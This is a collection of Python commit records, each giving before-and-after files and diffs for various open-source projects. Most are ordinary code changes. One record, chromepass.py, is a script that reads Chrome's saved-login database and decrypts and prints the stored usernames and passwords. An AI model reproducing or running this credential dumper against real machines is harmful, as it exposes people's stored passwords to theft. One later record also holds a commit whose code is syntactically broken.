# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
{
'name': "Audit Log",
'version': "9.0.1.0.0",
'author': "ABF OSIELL,Odoo Community Association (OCA)",
'license': "AGPL-3",
'website': "http://www.osiell.com",
'categ... | # -*- coding: utf-8 -*-
# © 2015 ABF OSIELL <http://osiell.com>
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
{
'name': "Audit Log",
'version': "9.0.1.0.0",
'author': "ABF OSIELL,Odoo Community Association (OCA)",
'license': "AGPL-3",
'website': "http://www.osiell.com",
'categ... | Remove pre_init_hook reference from openerp, no pre_init hook exists any more | auditlog: Remove pre_init_hook reference from openerp, no pre_init hook exists any more
| Python | agpl-3.0 | brain-tec/server-tools,brain-tec/server-tools,bmya/server-tools,brain-tec/server-tools,bmya/server-tools,bmya/server-tools | <REPLACE_OLD> True,
'pre_init_hook': 'pre_init_hook',
}
<REPLACE_NEW> True,
}
<REPLACE_END> <|endoftext|> # -*- coding: utf-8 -*-
# © 2015 ABF OSIELL <http://osiell.com>
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
{
'name': "Audit Log",
'version': "9.0.1.0.0",
'author': "ABF OSIEL... | auditlog: Remove pre_init_hook reference from openerp, no pre_init hook exists any more
# -*- coding: utf-8 -*-
# © 2015 ABF OSIELL <http://osiell.com>
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
{
'name': "Audit Log",
'version': "9.0.1.0.0",
'author': "ABF OSIELL,Odoo Community Associ... |
9e7363f3ad7521914eeb85d20f6dc3a6987400c4 | examples/example_test_coverage_upload.py | examples/example_test_coverage_upload.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import glob
import datetime
from teamscale_client import TeamscaleClient
from teamscale_client.constants import CoverageFormats
TEAMSCALE_URL = "http://localhost:8080"
... | Add example for coverage upload | Add example for coverage upload
| Python | apache-2.0 | cqse/teamscale-client-python | <INSERT> from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import glob
import datetime
from teamscale_client import TeamscaleClient
from teamscale_client.constants import CoverageFormats
TEAMSCALE_URL = "http://localho... | Add example for coverage upload
| |
04fa3a9fd61cc83c23ddd59ea474bd45cd2a1e8c | tests/__init__.py | tests/__init__.py | # coding: utf-8
from __future__ import unicode_literals
from __future__ import absolute_import
from os.path import join, realpath
import fs
# Add the local code directory to the `fs` module path
fs.__path__.insert(0, realpath(join(__file__, "..", "..", "fs")))
| # coding: utf-8
from __future__ import unicode_literals
from __future__ import absolute_import
from os.path import join, realpath
import fs
# Add the local code directory to the `fs` module path
# Can only rely on fs.__path__ being an iterable - on windows it's not a list
newPath = list(fs.__path__)
newPath.insert(... | Make namespace packages work for tests in windows | Make namespace packages work for tests in windows
| Python | mit | rkhwaja/fs.onedrivefs | <REPLACE_OLD> path
fs.__path__.insert(0, <REPLACE_NEW> path
# Can only rely on fs.__path__ being an iterable - on windows it's not a list
newPath = list(fs.__path__)
newPath.insert(0, <REPLACE_END> <REPLACE_OLD> "fs")))
<REPLACE_NEW> "fs")))
fs.__path__ = newPath
<REPLACE_END> <|endoftext|> # coding: utf-8
from __fu... | Make namespace packages work for tests in windows
# coding: utf-8
from __future__ import unicode_literals
from __future__ import absolute_import
from os.path import join, realpath
import fs
# Add the local code directory to the `fs` module path
fs.__path__.insert(0, realpath(join(__file__, "..", "..", "fs")))
|
2107a8c161d8a9fe13977a0997defb35297821c2 | certbot/tests/helpers.py | certbot/tests/helpers.py | import json
import testtools
from testtools.twistedsupport import AsynchronousDeferredRunTest
from uritools import urisplit
class TestCase(testtools.TestCase):
""" TestCase class for use with Twisted asynchornous tests. """
run_tests_with = AsynchronousDeferredRunTest
def parse_query(uri):
"""
Pa... | import json
import testtools
from testtools.twistedsupport import AsynchronousDeferredRunTest
from uritools import urisplit
class TestCase(testtools.TestCase):
""" TestCase class for use with Twisted asynchornous tests. """
run_tests_with = AsynchronousDeferredRunTest.make_factory(timeout=0.01)
def parse... | Increase default test timeout value | Increase default test timeout value
| Python | mit | praekeltfoundation/certbot,praekeltfoundation/certbot | <REPLACE_OLD> AsynchronousDeferredRunTest
def <REPLACE_NEW> AsynchronousDeferredRunTest.make_factory(timeout=0.01)
def <REPLACE_END> <|endoftext|> import json
import testtools
from testtools.twistedsupport import AsynchronousDeferredRunTest
from uritools import urisplit
class TestCase(testtools.TestCase):
... | Increase default test timeout value
import json
import testtools
from testtools.twistedsupport import AsynchronousDeferredRunTest
from uritools import urisplit
class TestCase(testtools.TestCase):
""" TestCase class for use with Twisted asynchornous tests. """
run_tests_with = AsynchronousDeferredRunTest
... |
eedb22b1be419130ffc4a349c3ec4b83879b44bd | client/demo_assignments/hw1_tests.py | client/demo_assignments/hw1_tests.py | """Tests for hw1 demo assignment."""
TEST_INFO = {
'assignment': 'hw1',
'imports': ['from hw1 import *'],
}
TESTS = [
# Test square
{
'name': ('Q1', 'q1', '1'),
'suites': [
[
['square(4)', '16'],
['square(-5)', '25'],
],
... | """Tests for hw1 demo assignment."""
assignment = {
'name': 'hw1',
'imports': ['from hw1 import *'],
'version': '1.0',
# Specify tests that should not be locked
'no_lock': {
},
'tests': [
# Test square
{
# The first name is the "official" name.
'name': ['Q1', 'q1', '1'],
# No ... | Make proposed testing format with demo assignment | Make proposed testing format with demo assignment
| Python | apache-2.0 | jordonwii/ok,jackzhao-mj/ok,jackzhao-mj/ok,Cal-CS-61A-Staff/ok,jordonwii/ok,Cal-CS-61A-Staff/ok,jackzhao-mj/ok,Cal-CS-61A-Staff/ok,jordonwii/ok,Cal-CS-61A-Staff/ok,Cal-CS-61A-Staff/ok,jordonwii/ok,jackzhao-mj/ok | <REPLACE_OLD> assignment."""
TEST_INFO <REPLACE_NEW> assignment."""
assignment <REPLACE_END> <REPLACE_OLD> 'assignment': <REPLACE_NEW> 'name': <REPLACE_END> <DELETE> <DELETE_END> <REPLACE_OLD> *'],
}
TESTS = [
<REPLACE_NEW> *'],
'version': '1.0',
# Specify tests that should not be locked
'no_lock': {
... | Make proposed testing format with demo assignment
"""Tests for hw1 demo assignment."""
TEST_INFO = {
'assignment': 'hw1',
'imports': ['from hw1 import *'],
}
TESTS = [
# Test square
{
'name': ('Q1', 'q1', '1'),
'suites': [
[
['square(4)', '16'],
... |
15cb279724a646368066591e81467e1b26d61938 | examples/charts/file/steps.py | examples/charts/file/steps.py | from bokeh.charts import Step, show, output_file
# build a dataset where multiple columns measure the same thing
data = dict(python=[2, 3, 7, 5, 26, 221, 44, 233, 254, 265, 266, 267, 120, 111],
pypy=[12, 33, 47, 15, 126, 121, 144, 233, 254, 225, 226, 267, 110, 130],
jython=[22, 43, 10, 25, 26, ... | """ This example uses the U.S. postage rate per ounce for stamps and
postcards.
Source: https://en.wikipedia.org/wiki/History_of_United_States_postage_rates
"""
from bokeh.charts import Step, show, output_file
# build a dataset where multiple columns measure the same thing
data = dict(stamp=[
.33, .3... | Change step example to plot US postage rates | Change step example to plot US postage rates
| Python | bsd-3-clause | ptitjano/bokeh,timsnyder/bokeh,draperjames/bokeh,percyfal/bokeh,justacec/bokeh,clairetang6/bokeh,philippjfr/bokeh,ericmjl/bokeh,rs2/bokeh,azjps/bokeh,DuCorey/bokeh,clairetang6/bokeh,draperjames/bokeh,clairetang6/bokeh,DuCorey/bokeh,aavanian/bokeh,KasperPRasmussen/bokeh,justacec/bokeh,bokeh/bokeh,aiguofer/bokeh,rs2/boke... | <REPLACE_OLD> from <REPLACE_NEW> """ This example uses the U.S. postage rate per ounce for stamps and
postcards.
Source: https://en.wikipedia.org/wiki/History_of_United_States_postage_rates
"""
from <REPLACE_END> <REPLACE_OLD> dict(python=[2, 3, 7, 5, 26, 221, 44, 233, 254, 265, 266, 267, 120, 111],
pypy=... | Change step example to plot US postage rates
from bokeh.charts import Step, show, output_file
# build a dataset where multiple columns measure the same thing
data = dict(python=[2, 3, 7, 5, 26, 221, 44, 233, 254, 265, 266, 267, 120, 111],
pypy=[12, 33, 47, 15, 126, 121, 144, 233, 254, 225, 226, 267, 110, ... |
67717116a2585975e0e773956d6a102be9dc11d6 | ggplot/geoms/geom_boxplot.py | ggplot/geoms/geom_boxplot.py | from __future__ import (absolute_import, division, print_function,
unicode_literals)
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.cbook as cbook
from .geom import geom
from ggplot.utils import is_string
from ggplot.utils import is_categorical
class g... | from __future__ import (absolute_import, division, print_function,
unicode_literals)
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.cbook as cbook
from .geom import geom
from ggplot.utils import is_string
from ggplot.utils import is_categorical
class g... | Fix y axis tick labels for boxplot | Fix y axis tick labels for boxplot
| Python | bsd-2-clause | xguse/ggplot,benslice/ggplot,smblance/ggplot,Cophy08/ggplot,mizzao/ggplot,xguse/ggplot,ricket1978/ggplot,mizzao/ggplot,andnovar/ggplot,bitemyapp/ggplot,kmather73/ggplot,udacity/ggplot,ricket1978/ggplot,benslice/ggplot,wllmtrng/ggplot,assad2012/ggplot | <REPLACE_OLD> l]
plt.setp(ax, yticklabels=l)
<REPLACE_NEW> l]
<REPLACE_END> <REPLACE_OLD> marker=fliermarker)
<REPLACE_NEW> marker=fliermarker)
if l:
plt.setp(ax, yticklabels=l)
<REPLACE_END> <|endoftext|> from __future__ import (absolute_import, division, print_function,
... | Fix y axis tick labels for boxplot
from __future__ import (absolute_import, division, print_function,
unicode_literals)
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.cbook as cbook
from .geom import geom
from ggplot.utils import is_string
from ggplot.... |
afac07ce173af3e7db4a6ba6dab4786903e217b7 | ocradmin/ocr/tools/plugins/cuneiform_wrapper.py | ocradmin/ocr/tools/plugins/cuneiform_wrapper.py | """
Wrapper for Cuneiform.
"""
from generic_wrapper import *
def main_class():
return CuneiformWrapper
class CuneiformWrapper(GenericWrapper):
"""
Override certain methods of the OcropusWrapper to
use Cuneiform for recognition of individual lines.
"""
name = "cuneiform"
capabilities = (... | """
Wrapper for Cuneiform.
"""
import tempfile
import subprocess as sp
from ocradmin.ocr.tools import check_aborted, set_progress
from ocradmin.ocr.utils import HocrParser
from generic_wrapper import *
def main_class():
return CuneiformWrapper
class CuneiformWrapper(GenericWrapper):
"""
Override certai... | Allow Cuneiform to do full page conversions. Downsides: 1) it crashes on quite a lot of pages 2) there's no progress output | Allow Cuneiform to do full page conversions. Downsides: 1) it crashes on quite a lot of pages 2) there's no progress output
| Python | apache-2.0 | vitorio/ocropodium,vitorio/ocropodium,vitorio/ocropodium,vitorio/ocropodium | <REPLACE_OLD> Cuneiform.
"""
from <REPLACE_NEW> Cuneiform.
"""
import tempfile
import subprocess as sp
from ocradmin.ocr.tools import check_aborted, set_progress
from ocradmin.ocr.utils import HocrParser
from <REPLACE_END> <REPLACE_OLD> *
def <REPLACE_NEW> *
def <REPLACE_END> <REPLACE_OLD>
<REPLACE_NEW>
... | Allow Cuneiform to do full page conversions. Downsides: 1) it crashes on quite a lot of pages 2) there's no progress output
"""
Wrapper for Cuneiform.
"""
from generic_wrapper import *
def main_class():
return CuneiformWrapper
class CuneiformWrapper(GenericWrapper):
"""
Override certain methods of th... |
48fc7cad7eb4cec0b928aba3daca7e934d46d87c | functest/tests/unit/features/test_sdnvpn.py | functest/tests/unit/features/test_sdnvpn.py | #!/usr/bin/env python
# Copyright (c) 2017 Orange and others.
#
# All rights reserved. This program and the accompanying materials
# are made available under the terms of the Apache License, Version 2.0
# which accompanies this distribution, and is available at
# http://www.apache.org/licenses/LICENSE-2.0
# pylint: d... | Add unit tests for sdnvpn | Add unit tests for sdnvpn
Change-Id: Ie4ebc4e2bc6f2e66f5f567f45f44c073cd9d313d
Signed-off-by: Cédric Ollivier <d48310251a4a484d041bc5d09a9ac4d86d20f793@orange.com>
| Python | apache-2.0 | opnfv/functest,mywulin/functest,mywulin/functest,opnfv/functest | <INSERT> #!/usr/bin/env python
# Copyright (c) 2017 Orange and others.
#
# All rights reserved. This program and the accompanying materials
# are made available under the terms of the Apache License, Version 2.0
# which accompanies this distribution, and is available at
# http://www.apache.org/licenses/LICENSE-2.0
# ... | Add unit tests for sdnvpn
Change-Id: Ie4ebc4e2bc6f2e66f5f567f45f44c073cd9d313d
Signed-off-by: Cédric Ollivier <d48310251a4a484d041bc5d09a9ac4d86d20f793@orange.com>
| |
3b3c51cbf77085b4d5ccdbbc41a3c7ee8b67b713 | turtle-trading.py | turtle-trading.py | def initialize(context):
"""
Set up algorithm.
"""
# https://www.quantopian.com/help#available-futures
context.markets = [
continuous_future('US'),
continuous_future('TY'),
continuous_future('SB'),
continuous_future('SF'),
continuous_future('BP'),
cont... | def initialize(context):
"""
Set up algorithm.
"""
# https://www.quantopian.com/help#available-futures
context.markets = [
continuous_future('US'),
continuous_future('TY'),
continuous_future('SB'),
continuous_future('SF'),
continuous_future('BP'),
cont... | Delete markets that stopped trading. | Delete markets that stopped trading.
| Python | mit | vyq/turtle-trading | <INSERT> before_trading_start(context, data):
"""
Process data before every market open.
"""
markets = context.markets[:]
for market in markets:
if market.end_date < get_datetime():
context.markets.remove(market)
log.info(
'%s stopped trading. Del... | Delete markets that stopped trading.
def initialize(context):
"""
Set up algorithm.
"""
# https://www.quantopian.com/help#available-futures
context.markets = [
continuous_future('US'),
continuous_future('TY'),
continuous_future('SB'),
continuous_future('SF'),
... |
2a724872cba5c48ddbd336f06460aa2ad851c6d0 | Pilot3/P3B5/p3b5.py | Pilot3/P3B5/p3b5.py | import os
import candle
file_path = os.path.dirname(os.path.realpath(__file__))
lib_path2 = os.path.abspath(os.path.join(file_path, '..', '..', 'common'))
sys.path.append(lib_path2)
REQUIRED = [
'learning_rate',
'learning_rate_min',
'momentum',
'weight_decay',
'grad_clip',
'seed',
'unro... | import os
import sys
import candle
file_path = os.path.dirname(os.path.realpath(__file__))
lib_path2 = os.path.abspath(os.path.join(file_path, '..', '..', 'common'))
sys.path.append(lib_path2)
REQUIRED = [
'learning_rate',
'learning_rate_min',
'momentum',
'weight_decay',
'grad_clip',
'seed'... | Fix missing import for sys | Fix missing import for sys
| Python | mit | ECP-CANDLE/Benchmarks,ECP-CANDLE/Benchmarks,ECP-CANDLE/Benchmarks | <INSERT> sys
import <INSERT_END> <|endoftext|> import os
import sys
import candle
file_path = os.path.dirname(os.path.realpath(__file__))
lib_path2 = os.path.abspath(os.path.join(file_path, '..', '..', 'common'))
sys.path.append(lib_path2)
REQUIRED = [
'learning_rate',
'learning_rate_min',
'momentum',
... | Fix missing import for sys
import os
import candle
file_path = os.path.dirname(os.path.realpath(__file__))
lib_path2 = os.path.abspath(os.path.join(file_path, '..', '..', 'common'))
sys.path.append(lib_path2)
REQUIRED = [
'learning_rate',
'learning_rate_min',
'momentum',
'weight_decay',
'grad_... |
e27fd32ecb89f5f2de1a784e902fe64d1b73d33c | {{cookiecutter.app_name}}/urls.py | {{cookiecutter.app_name}}/urls.py | from django.conf.urls import patterns, url
from .views import {{ cookiecutter.model_name }}List, {{ cookiecutter.model_name }}Create, {{ cookiecutter.model_name }}Detail, {{ cookiecutter.model_name }}Update, {{ cookiecutter.model_name }}Delete
urlpatterns = patterns(
'',
url(r'^$', {{ cookiecutter.model_name ... | from django.conf.urls import patterns, url
from . import views
urlpatterns = patterns(
'',
url(r'^$', views.{{ cookiecutter.model_name }}List.as_view(), name='{{ cookiecutter.model_name|lower }}_list'),
url(r'^new/$', views.{{ cookiecutter.model_name }}Create.as_view(), name='{{ cookiecutter.model_name|lo... | Use briefer url views import. | Use briefer url views import.
| Python | bsd-3-clause | wildfish/cookiecutter-django-crud,janusnic/cookiecutter-django-crud,wildfish/cookiecutter-django-crud,janusnic/cookiecutter-django-crud | <REPLACE_OLD> .views <REPLACE_NEW> . <REPLACE_END> <REPLACE_OLD> {{ cookiecutter.model_name }}List, {{ cookiecutter.model_name }}Create, {{ cookiecutter.model_name }}Detail, {{ cookiecutter.model_name }}Update, {{ cookiecutter.model_name }}Delete
urlpatterns <REPLACE_NEW> views
urlpatterns <REPLACE_END> <REPLACE_OL... | Use briefer url views import.
from django.conf.urls import patterns, url
from .views import {{ cookiecutter.model_name }}List, {{ cookiecutter.model_name }}Create, {{ cookiecutter.model_name }}Detail, {{ cookiecutter.model_name }}Update, {{ cookiecutter.model_name }}Delete
urlpatterns = patterns(
'',
url(r'^... |
d4f8b51efd611a9385cbb21e33c9eef6c0147b9a | setup.py | setup.py | from setuptools import setup
setup(
name='pytypes',
version='1.0b1',
description='Typing toolbox for Python 3 _and_ 2.',
url='https://github.com/Stewori/pytypes',
author='Stefan Richthofer',
author_email='stefan.richthofer@jyni.org',
license='Apache-2.0',
packages=['pytypes'],
class... | import os.path
from setuptools import setup
here = os.path.dirname(__file__)
readme_path = os.path.join(here, 'README.rst')
readme = open(readme_path).read()
setup(
name='pytypes',
version='1.0b1',
description='Typing toolbox for Python 3 _and_ 2.',
long_description=readme,
url='https://github.co... | Use README.rst for the PyPI long description | Use README.rst for the PyPI long description
| Python | apache-2.0 | Stewori/pytypes | <REPLACE_OLD> from <REPLACE_NEW> import os.path
from <REPLACE_END> <REPLACE_OLD> setup
setup(
<REPLACE_NEW> setup
here = os.path.dirname(__file__)
readme_path = os.path.join(here, 'README.rst')
readme = open(readme_path).read()
setup(
<REPLACE_END> <INSERT> long_description=readme,
<INSERT_END> <|endoftext|> ... | Use README.rst for the PyPI long description
from setuptools import setup
setup(
name='pytypes',
version='1.0b1',
description='Typing toolbox for Python 3 _and_ 2.',
url='https://github.com/Stewori/pytypes',
author='Stefan Richthofer',
author_email='stefan.richthofer@jyni.org',
license='Ap... |
0641de52396a97f109d02d2ee05967eb31a56a39 | swiftly/__init__.py | swiftly/__init__.py | """
Client for Swift
Copyright 2012 Gregory Holt
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in w... | """
Client for Swift
Copyright 2012 Gregory Holt
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in w... | Work on master is now 1.7 dev work | Work on master is now 1.7 dev work
| Python | apache-2.0 | dpgoetz/swiftly,gholt/swiftly,rackerlabs/swiftly | <REPLACE_OLD> '1.6'
<REPLACE_NEW> '1.7'
<REPLACE_END> <|endoftext|> """
Client for Swift
Copyright 2012 Gregory Holt
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/lic... | Work on master is now 1.7 dev work
"""
Client for Swift
Copyright 2012 Gregory Holt
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required... |
c3b1fef64b3a383b017ec2e155cbdc5b58a6bf5c | average_pixels/get_images.py | average_pixels/get_images.py | import os
import urllib
import requests
from api_key import API_KEY
from IPython import embed as qq
URL = "https://bingapis.azure-api.net/api/v5/images/search"
NUMBER_OF_IMAGES = 10
DIR = os.path.realpath('img')
def search_images(term):
params = {"q": term, "count":NUMBER_OF_IMAGES}
headers = {'ocp-apim-sub... | import os
import urllib
import urllib.error
import requests
URL = "https://bingapis.azure-api.net/api/v5/images/search"
NUMBER_OF_IMAGES = 10
DIR = '/tmp/average_images'
def search_images(term, api_key):
params = {"q": term, "count":NUMBER_OF_IMAGES}
headers = {'ocp-apim-subscription-key': api_key}
respo... | Store files in /tmp/ and fetch API key from $HOME | Store files in /tmp/ and fetch API key from $HOME
| Python | mit | liviu-/average-pixels | <REPLACE_OLD> requests
from api_key import API_KEY
from IPython import embed as qq
URL <REPLACE_NEW> urllib.error
import requests
URL <REPLACE_END> <REPLACE_OLD> os.path.realpath('img')
def search_images(term):
<REPLACE_NEW> '/tmp/average_images'
def search_images(term, api_key):
<REPLACE_END> <REPLACE_OLD> AP... | Store files in /tmp/ and fetch API key from $HOME
import os
import urllib
import requests
from api_key import API_KEY
from IPython import embed as qq
URL = "https://bingapis.azure-api.net/api/v5/images/search"
NUMBER_OF_IMAGES = 10
DIR = os.path.realpath('img')
def search_images(term):
params = {"q": term, "co... |
643c60364266c9015b919a39ff8f0807e6138efc | fileupload/views.py | fileupload/views.py | from fileupload.models import Picture
from django.views.generic import CreateView, DeleteView
from django.http import HttpResponse
from django.utils import simplejson
from django.core.urlresolvers import reverse
from django.conf import settings
class PictureCreateView(CreateView):
model = Picture
def form_v... | from fileupload.models import Picture
from django.views.generic import CreateView, DeleteView
from django.http import HttpResponse
from django.utils import simplejson
from django.core.urlresolvers import reverse
from django.conf import settings
class PictureCreateView(CreateView):
model = Picture
def form_v... | Add comment about browsers not liking application/json. | Add comment about browsers not liking application/json.
| Python | mit | Imaginashion/cloud-vision,extremoburo/django-jquery-file-upload,minhlongdo/django-jquery-file-upload,extremoburo/django-jquery-file-upload,Imaginashion/cloud-vision,Imaginashion/cloud-vision,extremoburo/django-jquery-file-upload,vaniakov/django-jquery-file-upload,vaniakov/django-jquery-file-upload,madteckhead/django-jq... | <REPLACE_OLD> """ JSON <REPLACE_NEW> """JSON <REPLACE_END> <REPLACE_OLD> class """
<REPLACE_NEW> class. This does not help browsers not liking application/json."""
<REPLACE_END> <|endoftext|> from fileupload.models import Picture
from django.views.generic import CreateView, DeleteView
from django.http import HttpRes... | Add comment about browsers not liking application/json.
from fileupload.models import Picture
from django.views.generic import CreateView, DeleteView
from django.http import HttpResponse
from django.utils import simplejson
from django.core.urlresolvers import reverse
from django.conf import settings
class PictureCr... |
d3bf033df10aa1d7f6afc2578cb74454d02f5a96 | libnacl/utils.py | libnacl/utils.py | # Import nacl libs
import libnacl
import libnacl.encode
# Import python libs
import datetime
import binascii
class BaseKey(object):
'''
Include methods for key management convenience
'''
def hex_sk(self):
if hasattr(self, 'sk'):
return libnacl.encode.hex_encode(self.sk)
el... | # Import nacl libs
import libnacl
import libnacl.encode
# Import python libs
import datetime
import binascii
class BaseKey(object):
'''
Include methods for key management convenience
'''
def hex_sk(self):
if hasattr(self, 'sk'):
return libnacl.encode.hex_encode(self.sk)
el... | Set the vk key hex routine correctly | Set the vk key hex routine correctly
| Python | apache-2.0 | coinkite/libnacl,saltstack/libnacl,johnttan/libnacl,cachedout/libnacl,mindw/libnacl,RaetProtocol/libnacl | <REPLACE_OLD> 'pk'):
return libnacl.encode.hex_encode(self.pk)
def <REPLACE_NEW> 'vk'):
return libnacl.encode.hex_encode(self.vk)
def <REPLACE_END> <|endoftext|> # Import nacl libs
import libnacl
import libnacl.encode
# Import python libs
import datetime
import binascii
class BaseKey(obje... | Set the vk key hex routine correctly
# Import nacl libs
import libnacl
import libnacl.encode
# Import python libs
import datetime
import binascii
class BaseKey(object):
'''
Include methods for key management convenience
'''
def hex_sk(self):
if hasattr(self, 'sk'):
return libnacl... |
e4dd1da8f2fdfa2f4071ab1796b31147f12d00a0 | setup.py | setup.py | from setuptools import setup
setup(name='covenant',
version='0.1.0',
description='Code contracts for Python 3',
author='Kamil Kisiel',
author_email='kamil@kamilkisiel.net',
url='http://pypi.python.org/pypi/covenant',
license="BSD License",
packages=["covenant"],
keywords... | from setuptools import setup
setup(name='covenant',
version='0.1.0',
description='Code contracts for Python 3',
author='Kamil Kisiel',
author_email='kamil@kamilkisiel.net',
url='http://pypi.python.org/pypi/covenant',
license="BSD License",
packages=["covenant"],
keywords... | Add Python 3.2 trove classifier | Add Python 3.2 trove classifier
| Python | mit | kisielk/covenant,kisielk/covenant | <INSERT> 'Programming Language :: Python :: 3.2',
<INSERT_END> <|endoftext|> from setuptools import setup
setup(name='covenant',
version='0.1.0',
description='Code contracts for Python 3',
author='Kamil Kisiel',
author_email='kamil@kamilkisiel.net',
url='http://pypi.pyt... | Add Python 3.2 trove classifier
from setuptools import setup
setup(name='covenant',
version='0.1.0',
description='Code contracts for Python 3',
author='Kamil Kisiel',
author_email='kamil@kamilkisiel.net',
url='http://pypi.python.org/pypi/covenant',
license="BSD License",
pack... |
f9b1418c7ea46d3d69fac027f097c5c1ace62f74 | django_cradmin/viewhelpers/__init__.py | django_cradmin/viewhelpers/__init__.py | from . import mixins # noqa
from . import generic # noqa
from . import formbase # noqa
from . import crudbase # noqa
from . import create # noqa
from . import update # noqa
from . import delete # noqa
from . import detail # noqa
from . import listbuilderview # noqa
from . import multiselect # noqa
from . impo... | from . import mixins # noqa
from . import generic # noqa
from . import formbase # noqa
from . import crudbase # noqa
from . import create # noqa
from . import update # noqa
from . import delete # noqa
from . import detail # noqa
from . import listbuilderview # noqa
| Remove import for multiselect and objecttable. | viewhelpers: Remove import for multiselect and objecttable.
| Python | bsd-3-clause | appressoas/django_cradmin,appressoas/django_cradmin,appressoas/django_cradmin | <DELETE> noqa
from . import multiselect # noqa
from . import objecttable # <DELETE_END> <|endoftext|> from . import mixins # noqa
from . import generic # noqa
from . import formbase # noqa
from . import crudbase # noqa
from . import create # noqa
from . import update # noqa
from . import delete # noqa
from . i... | viewhelpers: Remove import for multiselect and objecttable.
from . import mixins # noqa
from . import generic # noqa
from . import formbase # noqa
from . import crudbase # noqa
from . import create # noqa
from . import update # noqa
from . import delete # noqa
from . import detail # noqa
from . import listbuil... |
fee5cea7bf734599e374c6725fa01f3cebedd657 | chromepass.py | chromepass.py | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | Change pass to password to avoid shadowing | Change pass to password to avoid shadowing
| Python | mit | hassaanaliw/chromepass | <REPLACE_OLD> pass <REPLACE_NEW> password <REPLACE_END> <REPLACE_OLD> pass:
print <REPLACE_NEW> password:
print <REPLACE_END> <|endoftext|> from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Dat... | Change pass to password to avoid shadowing
from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value F... |
5425c2419b7365969ea8b211432858d599214201 | tests/test_archive.py | tests/test_archive.py | from json import load
from django_archive import __version__
from .base import BaseArchiveTestCase
from .sample.models import Sample
class ArchiveTestCase(BaseArchiveTestCase):
"""
Test that the archive command includes correct data in the archive
"""
def setUp(self):
Sample().save()
... | from json import load
from django.core.files.base import ContentFile
from django_archive import __version__
from .base import BaseArchiveTestCase
from .sample.models import Sample
class ArchiveTestCase(BaseArchiveTestCase):
"""
Test that the archive command includes correct data in the archive
"""
... | Update test to ensure attached files are present in archives. | Update test to ensure attached files are present in archives.
| Python | mit | nathan-osman/django-archive,nathan-osman/django-archive | <INSERT> django.core.files.base import ContentFile
from <INSERT_END> <INSERT> _ATTACHMENT_FILENAME = 'sample.txt'
_ATTACHMENT_CONTENT = b'sample'
<INSERT_END> <REPLACE_OLD> Sample().save()
<REPLACE_NEW> sample = Sample()
sample.attachment.save(
self._ATTACHMENT_FILENAME,
Conten... | Update test to ensure attached files are present in archives.
from json import load
from django_archive import __version__
from .base import BaseArchiveTestCase
from .sample.models import Sample
class ArchiveTestCase(BaseArchiveTestCase):
"""
Test that the archive command includes correct data in the archi... |
43e4e154df6274ea80b5d495a682c2d17cdb178d | cla_backend/apps/knowledgebase/tests/test_events.py | cla_backend/apps/knowledgebase/tests/test_events.py | from django.test import TestCase
from cla_eventlog.tests.base import EventTestCaseMixin
class AlternativeHelpEventTestCase(EventTestCaseMixin, TestCase):
EVENT_KEY = 'alternative_help'
def test_assign_alternative_help(self):
self._test_process_with_expicit_code(
['COSPF', 'IRKB']
... | from django.test import TestCase
from cla_eventlog.tests.base import EventTestCaseMixin
class AlternativeHelpEventTestCase(EventTestCaseMixin, TestCase):
EVENT_KEY = 'alternative_help'
def test_assign_alternative_help(self):
self._test_process_with_expicit_code(
['COSPF', 'IRKB', 'SPFN',... | Add new outcome codes to tests | Add new outcome codes to tests
| Python | mit | ministryofjustice/cla_backend,ministryofjustice/cla_backend,ministryofjustice/cla_backend,ministryofjustice/cla_backend | <REPLACE_OLD> 'IRKB']
<REPLACE_NEW> 'IRKB', 'SPFN', 'SPFM']
<REPLACE_END> <|endoftext|> from django.test import TestCase
from cla_eventlog.tests.base import EventTestCaseMixin
class AlternativeHelpEventTestCase(EventTestCaseMixin, TestCase):
EVENT_KEY = 'alternative_help'
def test_assign_alternative_help(... | Add new outcome codes to tests
from django.test import TestCase
from cla_eventlog.tests.base import EventTestCaseMixin
class AlternativeHelpEventTestCase(EventTestCaseMixin, TestCase):
EVENT_KEY = 'alternative_help'
def test_assign_alternative_help(self):
self._test_process_with_expicit_code(
... |
0bb777c0c77e5b7cac8d48f79f78d3a7cf944943 | backend/uclapi/uclapi/utils.py | backend/uclapi/uclapi/utils.py | def strtobool(x):
return x.lower() in ("true", "yes", "1", "y") | def strtobool(x):
try:
b = x.lower() in ("true", "yes", "1", "y")
return b
except AttributeError:
return False
except NameError
return False | Add some failsafes to strtobool | Add some failsafes to strtobool
